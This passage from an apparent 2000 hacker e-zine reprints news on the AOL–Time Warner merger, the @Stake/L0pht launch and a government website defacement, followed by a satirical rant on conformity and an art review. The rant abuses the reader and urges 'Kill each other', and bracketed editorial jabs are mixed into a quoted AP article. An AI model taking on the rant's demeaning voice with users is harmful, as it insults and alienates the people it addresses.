Commission (FCC) Chief +Technology Officer Stagg Newman said Tuesday in an interview. + +But a representative of the AOL-backed openNet Coalition, which has been +pressing for government intervention to open cable systems, said that AOL +remains dedicated to the coalition's cause. + +Until it joined with Time Warner on Monday, AOL lobbied hard to have government +regulators involved in the unfolding broadband cable access industry. Now the +company is on the same page with the FCC, which has wanted, at least until now, +to stay out of that emerging market, the FCC's Newman said. + +"In the past, AOL has advocated [the] FCC becoming much more proactive in the +broadband market," Newman said in an interview. + +In fact, FCC just last fall in a comprehensive report on broadband issues put +AOL in the camp of companies clamoring for "mandated open access." + +That is, AOL and others wanted the FCC through regulatory action to pry open the +broadband cable market, dominated by AT&T with an exclusive contract with ISP +Excite@Home. Though the FCC has not intervened, AT&T officials said in early +December that the company would not renew the exclusive Excite@Home deal, which +expires next year. + +AOL and other ISPs such as MindSpring Enterprises worried that, without +government intervention, cable franchise owners would control Internet content +and navigational services, according to the FCC report. + +However, AOL and Time Warner executives on Monday praised the promise of free- +market forces in the broadband access issue. + +"In listening to the press conference, what they have said on open access over +cable is what the Commission has wanted all along," the FCC's Newman said. + +Newman referenced a mid-December speech in which FCC Chairman William Kennard +said, "Unless a compelling case can be made for government action - a failure of +the marketplace to maximize consumer welfare - then we should give the +marketplace a chance to work." + +Along with overtly targeting AT&T's exclusivity deals, AOL has been generally +unprepared for the advent of broadband, Newman said. "All of their content was +focused on the narrow band world. And more than a delivery architecture, they +needed to develop broadband content. Monday's announcement does wonders for +that," Newman said. + +AOL worked largely through lobbying groups such as the openNET Coalition to push +for more government measures to open up the cable market. + +openNET co-director Greg Simon said in a statement that even after the merger, +AOL is still pushing for open access. + +"[The] announcement by AOL and Time Warner is a wake-up call to the cable +industry. The No. 2 cable company has joined AOL, a leading advocate for open +access and a continued member of the openNET Coalition, to support consumer +choice of Internet Service Providers over cable broadband networks," Simon said +in the statement. + +Simon said that that openNet will lobby federal regulators to get open access +commitments from AT&T and cable company Media One in its ongoing merger review. + +The organization will do the same in the AOL Time Warner merger, Simon +indicated. + +"We will continue to urge the federal government to make open access the rule +for the entire cable industry," Simon said + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + +AOL's Not Well with Time Warner Friday, January 14, 2000 +Welcome to the Internet as World Wide Mall +by Neva Chonin, Special to SF Gate + +For those who have been in an extended beauty sleep over the past week, here's +an update. America Online has acquired Time Warner, the world's largest media +and entertainment company, for somewhere between $166-$190 billion in stock. +Not surprisingly, it's the biggest corporate merger ever. + +Hey netizens, have we got a deal for you! (Time Warner's Gerald Levin, left, +models an AOL sweat band for Mr. AOL himself, Steve Case, at a January 12 +meeting in Dulles, Va.) + +Following the announcement on Monday, stocks for both companies soared (and +in AOL's case, plummeted again) while most media analysts applauded the deal +as a bold move into high-tech synergy. But those who view the Internet as +something more than a fiscal frontier shuddered, because the formation of the +media powerhouse called AOL Time Warner brings us one step closer to the day +when the World Wide Web becomes the World Wide Mall. + +The reasons behind the merger are more mundane than world domination. Time +Warner desperately needed a new Internet outlet to replace its creaky +Pathfinder portal. AOL needed access to a cable network to meet the coming +switch to broadband connectivity. But look at the numbers: Time Warner's +cable network already boasts 13 million subscribers. AOL adds more than 20 +million to that number. That's a lot of Netizens to be living under one +umbrella. And that umbrella includes, to name a few, news sources such as CNN +and Time magazine, entertainment titans People magazine and Entertainment +Weekly, WinAmp, CompuServe and, most sadly, Netscape, the search engine that +once embodied the Internet's feisty entrepreneurial spirit. + +It also includes Time Warner's substantial music catalogue. As company +chairman Gerald Levin noted on Monday, the deal with America Online offers a +"worldwide opportunity" to promote music from Warner Bros. and its sister +labels, Elektra and Atlantic. Much of that opportunity will come from having +an enormous number of potential AOL buyers for its wares. Within five years, +as the dominoes fall and other music empires follow suit, MP3 technology will +move from being a threat to corporate profit to being its handiest tool. As +entertainment attorney Peter Dekom told "Wired" news: "The music model +predicated on album sales is going to vaporize. This merger is all about Warner +Bros. throwing up its hands and recognizing that it has to change the way it +sells music." + +More convenience mergers between old and new media giants are on the way, +and the prospects look both grim and familiar: A future in which the Internet +is dominated by a few multimedia Goliaths spoon-feeding homogenized content to +subscribers who have forgotten that they have options. This, in the medium that +everyone had hoped would displace such conglomerates and give every surfer the +power to be his or her own publisher and information source. + +Not everyone thinks the outcome will be this dark. Adam Schoenfeld, senior +analyst for the Internet research company Jupiter Inc., says that fears +of homogenization and monopoly reflect "a paternalistic attitude toward +consumers that's almost repugnant. Consumers pay more to subscribe to AOL +because AOL is easy. Every AOL subscriber has access to the full wide +Internet and all the competition." + +Yes, but will they use it? Not likely, especially in the U.S., where most +citizens truly believe that there are only two political parties, and that +two parties comprises a democratic system. The fact is that for the weary +working masses it's easier to stick with what's familiar. What's familiar is +the primetime fluff brought into their homes on three or four major networks. +And once AOL Time Warner gets rolling, they will be the Internet's major +network -- available on a hundred channels. The more consumers grow accustomed +to this behemoth's easy access and bloated content, the less they'll venture +outside its borders. The less they venture out, the more alien the outer Net +seems. + +All of this leads to one big question: Does this merger signify an end -- or +the beginning of an end -- to the dream of the Internet as an unlimited, +innately democratic space, giving everyone equal access to all voices and views? + +Time Warner's communications director, Scott Miller, assured the press that it +doesn't: "The Internet is the first limitless medium, and by its very nature, +no single company or group can hope to control it." + +Still, that's what they said about the Left Coast 150 years ago, and here we +are. Paul Krugman for The New York Times points out that the AOL/Time Warner +deal "is based on the belief that a big piece of the electronic prairie can +indeed be fenced off, that a big company can create a zone of influence within +which people watch or listen to its content, coming over its wires, and pay for +the privilege.'' + +On a related note, the same day America Online bought Time Warner it also +entered into a "three-year alliance" with PBS. AOL subscribers will now have +direct access to PBS' educational and interactive online programming without +having to leave AOL's home turf. AOL, for its part, will receive on-air +branding on programs broadcast by PBS' 346 member stations. Steve Case and +William Shakespeare, hand in hand. + +Is it any wonder that Jon Katz, media critic for Rolling Stone and columnist +for Slashdot.org, is hoping the Justice Department will lower the anti-trust +boom on AOL Time Warner? "There's never been a company this size that does so +many different things,'' he points out. "This company is bigger than some +countries. We're not talking about a merger here, we're talking about the +construction of a nation. + +"The idea behind a free press is that there be choice and many points of +view. That's also the cornerstone of anti-trust law. There's no way you can +look at what's good for media and the consumer and conclude this deal is a +good thing. If you believe in the notion of free and independent media, this +is a nightmare.'' + +Katz isn't the only one worrying. Consumer groups have armed the battlements. +Free-speech advocates and media watchdogs are denouncing the deal to anyone who +will listen. Senator Patrick J. Leahy of Vermont released a statement warning +that while AOL's acquisition of Time Warner "may make strategic sense" for the +companies involved, "at some point, all of this concentration and convergence +has implications for consumers, because it will minimize competition and choice, +giving us fewer voices and fewer pipelines in the marketplace." + +There's a slim chance that the Justice Department will step in and nix the deal. +There's an even slimmer chance that AOL, even with one of the biggest cable +networks in the world at its fingertips, will continue its pre-Time Warner fight +for open access that would force cable operators to open their systems to other +Internet providers. It would be the right thing to do, and a gesture toward the +perservation of online diversity and fair play. It would be the sort of thing +one might expect from a corporation starstruck reporters are calling an +"Internet pioneer." + +But don't hold your breath. The purpose of a pioneer -- if that word can be +applied to AOL -- is to colonize an environment, not leave it free. +---------------------------------------- +Neva Chonin writes about music and +culture and technology and stuff for +the "San Francisco Chronicle," "Rolling +Stone" and other publications. + +(C) 2000 SF Gate + +------------------------------------------------------------------------------- + +Microsoft, AOL on Collision Course + +By Ted Bridis +Associated Press Writer +Friday, Jan. 14, 2000; 11:09 a.m. EST + +WASHINGTON -- Did Bill Gates underestimate Steve Case? + +Weeks after the last time America Online Inc. surprised the technology industry +by purchasing Internet pioneer Netscape, Gates confided he wasn't worried the +$10 billion deal among his biggest rivals might pose serious risks for +Microsoft's future. + +"AOL," Gates said, according to handwritten notes from Microsoft's own files, +"doesn't have it in their genes to attack us." + +Now, a year later, America Online's appetite has grown, fueled by the market's +unfathomable surges in technology stocks, toward its $145 billion merger with +Time Warner Inc. Case, one of the world's few executives to already beat Gates +head-to-head, will become the new billionaire chairman of the combined company. + +The stunning deal gives Case's AOL Time Warner Inc. the ideal weapon to +challenge Microsoft where it considers itself most vulnerable: a vast network +of high-speed Internet lines that can deliver to consumers a promising new +generation of software and information that don't require Windows, Microsoft's +lucrative flagship operating system that runs most of the world's computers. + +This fledgling category of software - which already includes word processors, +games and digital calendars - isn't installed on a PC using Windows like today's +programs. + +Instead, these programs are delivered and run across high-speed Internet +connections, appropriate for almost any device that can connect to the Web. The +ultimate promise for many is to remove the industry's intense reliance on +Windows, which has earned billions for Gates & Co. + +Until his recent shopping spree, Case struggled with no "fat pipes" to deliver +to his 20 million AOL subscribers this new generation of bandwidth-hungry +software. By comparison, Microsoft's own online service, MSN, has about 2.5 +million subscribers. Case, who once wrote e-mail comparing Microsoft to Hitler, +is increasingly ready to attack. + +Microsoft last year invested $5 billion in AT&T, which alone has more than +1 million high-speed Internet customers. + +"The really important thing about the Time Warner-AOL deal is, it gives AOL the +cable outlet," said David Smith, an Internet analyst at the Gartner Group. "It +means you have both sides that are armed." + +The breadth of the AOL Time Warner combination "will be forcing Microsoft out as +they grow," said Rob Enderle, a technology analyst for the Giga Information +Group. "Tomorrow, they could do a fairly good job of removing Microsoft as a +vendor in the space." + +Microsoft, under close scrutiny in Washington as part of the government's +ongoing antitrust lawsuit, can't react as aggressively or swiftly as it might +prefer, but it isn't sitting still. + +In a shot across the bow, Gates announced Thursday that Microsoft will refocus +its efforts on what he said were the "next generation of Internet services" +being developed during the next two or three years. + +He compared the revelation to Microsoft's dramatic shift in strategy in 1995, +when the company suddenly embraced the Internet. "We see ourselves today at that +same type of inflection point," he said. + +"You haven't seen anything yet," Gates predicted as he announced his new role +as chief software architect. "The nature of software will be changing. Software +will be delivered in many cases as a service across the Internet instead of a +software product." + +[Gates, you ain't seen nothin' yet. Get it straight.] + +For more than two decades, the technology industry has thrived on the theory +that the power of computers increases exponentially over short periods. + +"We're going to bet on the equivalent law for broadband," promised Yusuf Mehdi, +director of marketing for MSN. + +"We're going to suck up the cycles that you can get on a fast connection into +really interesting things - video and audio and interactive television." + +Like Case, who surrendered his title as chief executive officer in his new +company to be chairman, Gates also elevated his longtime friend, Steve Ballmer, +to become CEO at Microsoft but also remains chairman. Tit for tat. + +[Gates' move doesn't hold water with me. And hopefully he isn't fooling anyone +else. Tit for tat? Nah. As chief software architect for Micro$oft, he'll be +as useless as tits on a bull though.] + +And for anyone wondering about the future of Windows, Gates dubbed the new +software, "Next Generation Windows Services." + +It's shaping up to be quite a battle. + +[At least Gates and Micro$oft can't monopolize the entire industry, swallowing +up every smaller company, and in essence, preventing anyone from ever battling +them in the software/Internet markets.] + +EDITOR'S NOTE - Ted Bridis covers technology for The Associated Press in +Washington. + + (C) Copyright 2000 The Associated Press + +------------------------------------------------------------------------------- + +AOL-TIME WARNER MERGER +JANUARY 24, 2000 VOL. 155 NO. 3 + +Happily Ever After? +The "most transformational event" turns Wall Street on its ear, two giants into +one and the future into an alluring promise +BY DANIEL OKRENT + +How big was it? In Northern Virginia on Friday night, Jimmy Lynn, an AOL +marketing executive, got an inkling that something was happening. "I usually go +to the Redskins games with a guy from the mergers and acquisitions group," Lynn +explained. When the friend canceled--for the Redskins' first playoff game in +seven years--Lynn knew it was not just something, but really something. In +downtown Manhattan early Monday, the 7:30 a.m. daily research call emanating +from the fifth-floor conference room of Merrill Lynch headquarters was handled +by analysts Henry Blodget and Jessica Reif Cohen. Traders who had nearly run off +the road when they had heard the news on their car radios crammed the room; +1,000 more around the world were connected by telephone. Like everyone else on +Wall Street, Blodget and Reif Cohen had been taken totally by surprise. They +used words like brilliant and huge--but they were at a loss to explain to their +colleagues what it actually meant. + +It was on Tuesday afternoon, the day after the deal was announced, that the +influential Silicon Valley venture capitalist Roger McNamee summed up the object +of all this attention: "Let's be clear," he said. "This is the single most +transformational event I've seen in my career." + +Just what exactly was transformed? America Online, the newbie-friendly smiley +face of the Web that just three years ago was an operational mess, had +engineered the largest merger in American corporate history. Time Warner, the +immense media conglomerate that had sprung from the loins of the magazine you +are now reading--having failed to beat the Internet upstarts with its own +efforts--had decided to surrender to them for the best price it could get, about +$162 billion in AOL stock. The companies valued the combination at $350 billion. + +For Time Warner chief executive Gerald Levin and AOL boss Steve Case, the common +experience of groping through a rapidly mutating economy made this deal in some +ways inevitable. In AOL, Case had built a brand, a customer base and (by +Internet standards) healthy profits. But he faced a future that may see Internet +access become a commodity, and he lacked access to the leading source of +broadband--the fat, fast pipes of cable television that could carry vast amounts +of Internet content. And Case didn't have much in the way of content either. +Time Warner's cable-television system, the country's second largest, owned +plumbing aplenty to distribute AOL's services. The company also had the +proprietary content--magazines, books, movies, music, programming--to send down +the pipes. + +Yet Levin's company had remained inextricably mired in its own past, a dinosaur +lurching its way through a world that would soon belong to swifter creatures, +almost pathetically unable--like all the major media companies--to make the +Great Leap Forward into the new Internet economy. The company's stock price had +plateaued in a year in which Net stocks soared, and there was little excitement +about the plans being developed in its recently hatched digital division, +despite projected outlays this year of $500 million. "We had a big uphill job as +a corporation" to catch up with the established Internet players, notes Time +Warner vice chairman Ted Turner. Levin was even contemplating "an internal +takeover" of CNN to make it the company's digital division, separate from the +rest of the Turner networks. + +When Time Inc. announced its betrothal to Warner Communications in 1989, the men +in the front of the room were an odd match of Hollywood glitz and suburban +Connecticut golf club. In 1995, when Levin and Turner proclaimed their deal, it +was Earth meets Mars. But last week the two dealmakers actually seemed to speak +the same language and perceive the same future. + +Both Case and Levin were faced with what corporate strategists call a "make or +buy" dilemma. Case must have contemplated that at some point Wall Street would +come to its senses and that AOL's helium-supported Internet valuation would be +punctured and deflate. Better spend those Net-flated dollars now--buy. Levin, +with his stock price sputtering, didn't have the currency to pay the price of +admission on the Internet. The company, in fact, could neither "make" nor "buy," +which left it with but one option--sell. + +Case and Levin began their mating dance at a meeting of the Global Business +Dialogue in Paris last September. Two weeks later they continued their global +flirtation at a lavish FORTUNE magazine event (FORTUNE is also owned by Time +Warner) in Shanghai--one of those blurred events, part journalism, part meet- +greet-and-deal, that make press critics howl. But the active courtship didn't +begin until early October, when Case called Levin, proposed merger outright +and--significantly--said he wanted Levin to be CEO of the combined company. + +The gritty details of negotiating corporate marriage, in particular who gets the +top jobs, began in mid-November, when AOL vice chairman Ken Novack, a Boston +lawyer who is Case's closest professional confidant, traveled to New York City +with senior vice president Miles Gilburne to meet with Richard Bressler, the +former Time Warner CFO who had recently been placed in charge of the +corporation's digital efforts. How do you puzzle out a high-tech-meets-media +merger? On large sheets of paper. The three men scrawled out a crude vision of +a combined company and posted the pages all over the muted gray walls of +Bressler's imposing Rockefeller Center office. Gilburne took the rolled-up +sheets back to AOL's Dulles, Va., headquarters, where senior executives examined +them the way archaeologists examine the runic traces of an early civilization. + +COPYRIGHT (C) 2000 TIME INC. + +------------------------------------------------------------------------------- + +AOL/TW deal may change how companies design Web sites + +January 13, 2000 +Web posted at: 9:09 a.m. EST (1409 GMT) + +by Linda Rosencrance + +(IDG) -- This week's stunning announcement that America Online Inc. will merge +with Time Warner Inc. may change the way companies develop their Web pages by +speeding up the development of high-speed Internet access, Web developers and +analysts say. + +If the all-stock deal is successful, the companies, valued at $350 billion with +combined yearly revenue of $30 billion, see themselves as positioned to speed +development of the Internet and interactive content, according to a joint +statement. And that could spark changes in the way companies design and build +Web sites aimed at consumers. + +"When it comes to designing Web site content, the increasing use of broadband +devices to access the Internet [will mean companies] will have to produce more +rich media like we see on television," said Dan MacKeigan, a senior Internet +analyst at Arlington, Va.-based Friedman, Billings, Ramsey & Co. "It's a sign +of things to come. It's a challenge to develop broadband content." + +Tom Lix, president and CEO of Newmarket Network, a Boston-based Web development +firm that has done work for National Public Radio and others, agreed. + +"Hopefully, this will speed up the introduction of broadband into people's +homes, and it will bring a lot of what the Internet has to offer to regular +audiences," Lix said. "Web developers [will] have to develop more and better +features for higher and higher speeds. If companies are smart, they are +already moving in that direction. If not, now they have to move in that +direction." + +Some retailers have been eager to add better graphics, streaming video, 3-D +interactivity and other data-intensive options that would give shoppers a better +sense of products for sale. However, such features could add lengthy page +download delays for consumers on dial-up modems, and the expense of developing +features has to be justified by a critical mass of users with high-speed access. + +The head of J.Crew.com in Lynchburg, Va., said his company has already been +thinking about providing Web site content for broadband. + +"We have several capabilities on hand that we could roll out with broadband +which would enhance our customers' user experience and optimize sales +productivity," said Scott Gilbertson, president of e-commerce at J.Crew.com. +"However, we do not want to dilute the experience of the majority of customers +without access. The potential merger with AOL as a delivery mechanism brings a +significant presence of broadband to the average customer, and we will be right +there to roll with it. We have the flexibility to offer one site for broadband +and one for PC modems." + +David Fry, director of Fry Multimedia in Ann Arbor, Mich., whose company designs +Web sites for firms such as Eddie Bauer Inc., Godiva Chocolatier Inc. and +1-800-Flowers Inc., agreed that the merger will have tremendous implications for +marketers and merchants currently developing traditional Web sites, if and when +it leads to more widely available broadband access. + +But Glen Lipka, a founding partner of Kokopelli New Media in New York, said he +doesn't think Web site developers have to rush to change the way they do things. + +"It will take years for broadband to propagate," he predicted. + +(C) 2000 Cable News Network. All Rights Reserved. + +------------------------------------------------------------------------------- + + Top Executives from Forrester Research, Cambridge + Technology Partners, and Compaq Establish @Stake; + Specialized Internet Security Services Firm + + The L0pht, renowned 'hacker think-tank,' to join @Stake + + Receives $10 million in Initial Backing from Battery + Ventures + +Cambridge, Mass., January 6, 2000 - A group of top Internet executives announced +today the establishment of @Stake Inc., a specialized professional services firm +that will provide a full range of security solutions for the e-commerce +operations of global clients. @Stake represents the industry's only independent +security services provider. + +@Stake also announced that renowned hacker think-tank the L0pht has merged with +the newly formed company. This strategic move reflects the firm's commitment to +build a world-class team of professionals offering non-traditional, e-commerce- +age security solutions for clients. + +In addition, the company disclosed that it has received over $10 million in +initial funding from Battery Ventures, a leading high tech venture capital firm +whose other investments include Akamai Technologies, InfoSeek, and Qtera. @Stake +is the first company spawned from Battery's newly created in-house incubator +program. + +"@Stake's independence and dedicated focus on Internet security differentiate +their approach from other providers," according to Tom Crotty, general partner +at Battery Ventures. "They have assembled a diverse team of extreme talent from +premier organizations including Forrester Research, the L0pht, Cambridge +Technology Partners, and Compaq Computer." + +The company will offer a full range of security services enabling e-commerce for +Global 2000 clients. @Stake will focus on planning next-generation security +platforms that achieve long-term e-commerce objectives as well as securing +clients' immediate Internet needs. Key to the company's strategic approach is +building comprehensive security architectures to minimize the impact of viruses, +malicious attacks and other threats while maximizing opportunity and +competitiveness for firms engaged in the Internet economy. The company's +professional services span infrastructure security, including VPNs and +firewalls; content security, such as anti-virus and e-mail scanning; application +security, including fine-grained application access control; and operations +security, such as intrusion detection and scanning systems. + +@Stake's management team includes: + + * Dr. Daniel Geer, Chief Technology Officer, formerly + vice president and senior strategist at CertCo and + director of engineering at Open Market. His tenure + as manager of systems development at MIT's Project + Athena led to the creation of, amongst other + innovations, the X Window System and Kerberos. + + * Ted Julian, VP of Marketing and Business + Development, formerly lead security analyst at + Forrester Research and known for the far-reaching + impact of his reports, "Security Suites: Dead on + Arrival" and "Turning Security on Its Head." + + * Mudge, VP of Research and Development, served as + CEO/Chief Scientist of hacker think-tank, the L0pht. + Having appeared before the Committee on Governmental + Affairs of the US Senate to discuss vulnerabilities + facing technological resources, Mudge led the L0pht, + a group of 'grey-hat hackers' known for unorthodox, + extreme technical sophistication. + + * Dr. Phil Tams, VP of Consulting and Operations, + formerly a senior manager at Cambridge Technology + Partners and responsible for restructuring IT + systems and businesses to compete effectively in the + Internet economy. + + * John J. Rando, Chairman of the Board, was previously + senior vice president and group general manager at + Compaq. He is widely known for his work developing + software product services, pioneering new delivery + methodologies, and lifecycle service solutions in + networking and systems integration. + +"@Stake helps clients address the most critical issue facing their e-commerce +initiatives: maintaining the highest levels of security while maximizing +openness," said Ted Julian, Founder and VP of Marketing and Business +Development. "Our strategic approach is based on the premise that true security +lies in enabling the entire enterprise, rather than locking down the system with +unnecessary complexity and control." + +"By enabling Internet objectives, our security services unleash enormous +benefits for organizations building their e-commerce operations," continued +Julian. + +According to IDC Research, the demand for network security consulting and +management services will reach over $1.6 billion in 2002. In addition, in its +November 29 brief, "exSourced Security Arrives," Forrester Research "recommends +the majority of businesses meet their security needs with exSourcers … third- +party security service providers that connect external constituents with +internal processes." + +"The opportunity to join the first and only independent 'pure play' in the field +of Internet security consulting is perfect for the L0pht," according to Mudge, +now @Stake's VP of R&D. "@Stake's vendor neutrality, combined with open lines of +communication to the full spectrum of people dealing with online security, +allows us to remain true to our roots - security research and execution which +shatters industry myths and builds a totally new standard." + +@Stake executives will be participating in the major security trade show, +RSA 2000, scheduled for January 16-20 in San Jose. + +With headquarters in Cambridge, Mass, @Stake is a specialized professional +services firm providing security solutions for the e-commerce operations of +global clients. More information can be found at www.atstake.com +@Stake, Inc. -- Securing the Internet Economysm. + +Copyright L0pht Heavy Industries. All Rights Reserved. + +------------------------------------------------------------------------------- + +Thursday January 6 2:18 AM ET + +Hackers Become Security Consultants + +By TED BRIDIS Associated Press Writer + +WASHINGTON (AP) - Who ya gonna call? Hackers? + +Some of the Internet's most adept online snoops are hoping big business +soon will be chanting that ``Ghosbusters''-like refrain: These hackers +are forming a new company to advise the world's largest banks and hospitals +how to keep their data safe from cyber-intruders. + +Members of the Boston-based L0pht Heavy Industries, who once boasted to +the Senate that any one of them could cripple the Internet in the United +States within 30 minutes, today were announcing the creation of their +consulting company, AtStake. They say they have more than $10 million in +funding from venture capitalists. + +The new vice president of research and development - widely considered +among the world's leading hackers - will continue to use only his online +handle, ``Mudge,'' to identify himself. + +``The U.S. Senate referred to me as Mudge. Mom and Dad refer to me as +Mudge,'' he told The Associated Press. ``I figure, why break the streak?'' + +L0pht (pronounced ``loft''), whose eight members sold software to crack +the passwords of Microsoft Windows NT computers and to detect other +hackers secretly monitoring a network, will disband as an organization. +All its members - with such colorful monikers as ``Space Rogue,'' +``Dildog,'' ``Weld Pond'' and ``Brian Oblivion'' - will join the new +company, based in Cambridge, Mass. + +Wearing business suits, the group described as a ``hacker think tank'' +testified about lax computer security before the Senate Governmental +Affairs Committee in May 1998. They said any of them could easily bring +down the Internet in North America, although other experts dismissed the +claims as exaggerated. + +Committee Chairman Fred Thompson, R-Tenn., allowed L0pht's members to use +only their online handles ``due to the sensitivity of their work,'' +although they are widely interviewed by national media. ABC's Sam Donaldson +talked with ``Space Rogue'' in October. + +``They're very, very good - first rate,'' said Bruce Schneier, an expert +on data-scrambling and chief technology officer for Counterpane Internet +Security Inc. + +Russ Cooper, who publishes the NTBugtraq newsletter exposing security +risks in Microsoft's products, called the group ``eight brilliant geniuses.'' + +The new company includes mainstream industry executives, including new +Chairman John Rando, a former senior vice president at Compaq Computer +Corp (NYSE:CPQ - news)., and another well-known security expert, Daniel +Geer. + +But most remarkable was the presence of those who embrace their roots as +``gray-hat hackers,'' insisting they never used their unusual computer +skills to break into systems illegally but acknowledging they study the +techniques and even provide some tools for those who do. + +``We wear (that label) with pride,'' said ``Mudge,'' whose long hair +flows past his shoulders. ``We will look at any angle that we can. We're +not over there breaking into systems. We'll let our record speak for +itself.'' + +The new executives suggested they weren't concerned that the nation's +largest banks, brokerages and health-care companies might be reluctant to +hire hackers to secure their own sensitive information. ``Mudge'' called +it ``not a hurdle as much as a springboard,'' saying prominent companies +and government agencies had informally sought L0pht's advice in the past. + + Copyright (C) 1996-2000 The Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +Prankster turns Queen's Park into South Park. + +TORONTO -- A persistent hacker got into an Ontario government ministry Web site +and littered it with South Park characters and graffiti. + +Ministry of Northern Development and Mines officials were busy Monday looking +into the breach but said that sensitive data did not appear to have been +destroyed. + +Gianfranco Merlino, a data services official, said the hacker broke in Thursday +night and added pictures of a laughing Terrance and Philip -- two South Park +characters known for their fondness of flatulence and Kraft Dinner. + +The next morning a department official changed the accounts and passwords and +removed the images. + +But the hacker persisted and was back in Saturday, when government officials +finally decided to disconnect the site from the Internet. + + CANADIAN PRESS + +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} + +The Followers. + +"I can never die." + +You're not going to like this, but I'm going to write it anyway. You're +not going to laugh, but I'm going to laugh anyway. So sit down, shut up and +read this intriguing little rant. It doesn't matter what you think of it. + +I want to die an ironic death. I want to shout "I can never die" the moment +before I expire, right in the face of death. Then I want to come back and haunt +people. I want to leave a lasting legacy so that people aren't allowed to ever +forget me. It won't be easy but it has to be done. You won't forget me because +I won't let myself be forgotten. My words will permeate your mind and infect +your thoughts until you've been corrupted. Once you're thoroughly brainwashed +and under my control, like a fucking puppet, I'll invade your dreams and exploit +your mind. There's nowhere to run. Nowhere to hide. You can't escape. I'll +rip right through your soul like a damage jackal from hell. Why can't you +understand that you're my prey and just accept it? Mind games are my domain. +Submission and defeat are yours. Victory is mine. You are pathetic and +helpless. Society is fucking you like a slave already. It's raping you +hardcore. Learn to accept your fate. Know your role and play it well. + +Pulling your strings gives me an adrenaline rush. The taste of power is +addictive. Your blood is my fuel. Stealing your soul is my fire. Using your +words and your mind against you gives me power. My strength is from within. +Your weakness is derived from years of being conditioned and controlled. +Dance puppet, dance. + +You're worthless. You're nothing. You can't think for yourself. You can't +live your own life. You are connected to society in a way that doesn't allow +you to be an individual. You aren't afforded that luxury. Your thoughts are +not your own. You aren't yourself. You aren't you. You are owned by society. +Society owns you. You're a slave that enjoys being enslaved. Admit to what +you are. Don't try to hide it. Don't try to hide behind ignorance. + +Kill each other. Destroy yourselves. You are all fools. This world is +infested with zombies and united by idiocy. It should be cleansed. From +death comes life. Give and take. Then take some more. Take all that you +can get away with. Let your greed drive you. Let your mind starve. Let +it stagnate and rot. Don't think. Don't learn the hard way. Let corruption +be your guide. Become what you hate. Learn to mimic zombies that are +financially successful. Base your life on lies. Scoff at the truth. Try +to impress everyone that you can. Copy others. Give up your ideals and +compromise your soul. Fill your veins with indifference and your brain with +the thoughts of others. Brag about everything that you have. Don't count on +anyone and don't count anyone as your friend. Fear your enemies. Believe +propaganda. Believe everything. + +Fear the truth. Live by the lies you're told. Be a follower. Follow the +leader. Always take the easy road. Always go with the odds. Don't take +chances. Don't stray from your routine. Don't think differently. Let +someone else think for you. Let Big Brother make decisions for everyone. +Don't be a fool and oppose them. It's foolish to fight back. Give in to the +temptation to go with the grain. Going against it is more difficult and only +causes problems. It's your duty to follow. Perform your duty. Execute your +primary function to follow. Why resist when you were born to serve society? + +Let your inner soul fade. Let your personality dissolve. Become a clone. +Become a perfect citizen of the New World Order. Let them brand you like +cattle. Let them track you like a wolf after prey. Let them hunt and kill +you like sheep being slaughtered. Expose your neck to predators like +Big Brother around you. Then expose your mind to them so that it can be +brainwashed and exploited. It's your way and it's easier. It's the right way. + +Relinquish your rights and give up your identity. Give yourself away. Give +away everything. Own nothing. Become bought. Become owned. And be grateful +for it. Love your oppressors. Admire them for their strength and control. +Always show them that you are weak. Always obey them and be faithful to your +duties. Be the follower that you are and live the zombie lifestyle. Never try +to oppose them or you will be destroyed. You shall be decimated if you tempt +fate. Chain yourself to society and proudly display your chains. Don't ever +be modest and try not to be humble. But always be meek and mild. Avoid any +controversy at all costs. Reject uniqueness and individuality. Respect the +establishment, mainstream society and follow the norm. Your role is to conform +to it. Believe everything you're told. Question nothing. Live for acceptance. +Always follow. Live solely to follow. + +Nothing is gonna change. Why not? Things won't change because you don't want +them to change. You're a follower. Followers can't enact change. Followers +don't desire any change. All followers would rather just allow things to +stagnate. They're more comfortable when things stay the same. Even if they +disagree with something, they'd rather be silent than speak out against it. +They'd rather just follow along and take it. That's who you are. Admit it to +yourself. You can change it though. But alas, you don't want to. You want to +remain a follower, don't you? + +Obey and follow the rules of others. They set the rules and it's your job to +follow them. Followers don't make the rules, they live by them. That is your +future. That's your destiny. Take it. Take your fate in stride. Take +everything. Cheat yourself. Live to accept. Live to conform. Never speak +out. Never change. Never question. I pity you and your pathetic existence. +You let yourself be fooled. You let the Thought Police dictate what you think +and how you live. If you recognize any of the above as being a fitting +description for your life, then you are one of the followers. If what you read +doesn't apply to you, and angered you, then you are aren't a zombie. + +Written by THC Phreak ú Damage, INC. (C)opyright 1999. + + +FREEDOM OF THOUGHT + +Oil painting by Jaisini + +The color of this painting is an +agent of transformation that +makes the prison world illusive. + +In the painting "Freedom of thought" Jaisini has built a form of time and +space that transforms the world of prison into a dream or a thought if a +philosopher, the artist himself, laying on a plank bed of the illusory prison +cell. + +Freedom of Thought is populated with images of wicked criminals and guards. +However, the convicts do not carry ugly or realistic character references but +are portrayed with humor and irony. Two crooks are playing cards. One has an +Arabic-looking face with a purple nose. His partner's face, in some parts, is +a brick packing and his eye is shielded with bars. A brick background is also +found at the middle part of the painting that supports the miniature brick +structure of the con's face. A rat and an angry dog fight for a rotten fish. +At the upper right corner the weightless hazy scene of rape blends with a +flow of the composition where all personages conjoin in the obscure carnival +of confinement. Jaisini portrays himself as its participant. His position is, +nevertheless. the most calm. He is in a condition of concentrated thinking or +in a deep sleep. The jail, as a dream or a thought, becomes unreal and does +not exist. The question arises of what reality that is in the artist's +thought or dream, or the surrounding whirlpool world of the prison? Is this a +work of art, according to Scheider, considered as a kind of "dream turned +inside out"? The painting seems to be illusory owing to its amazing color and +its references to the old-fashioned lockup system. The state of the artist's +dream or thinking could be unreal as well. Then what is the reality in +"Freedom of Thought"? Maybe it is the "I," the creative self, which is pure +consciousness, the witness of these three states, the motive power to +survive, to create, to think. Jaisini's internal psychic flexibility permits +him identification with and portrayals of a wide range of characters and +themes. + +A female guard is peeking at a well-built imprisoned man. + +The artist shows that the quest for happiness was endless and vain for him +until he stopped searching outside for something that he was not able to find +in the world of senses and turned inward. +"Freedom of Thought" is a work that, in a way, illustrates the turning point +of the human life when one often gets back his ability to see the stars from +the gates of hell, as Dante writes. +"My guide and I came on that hidden tunnel to make our way back into the +shining world; +and with no time for rest, we climbed - he first, that I - until I saw, +through a round aperture, those things of beauty Heaven 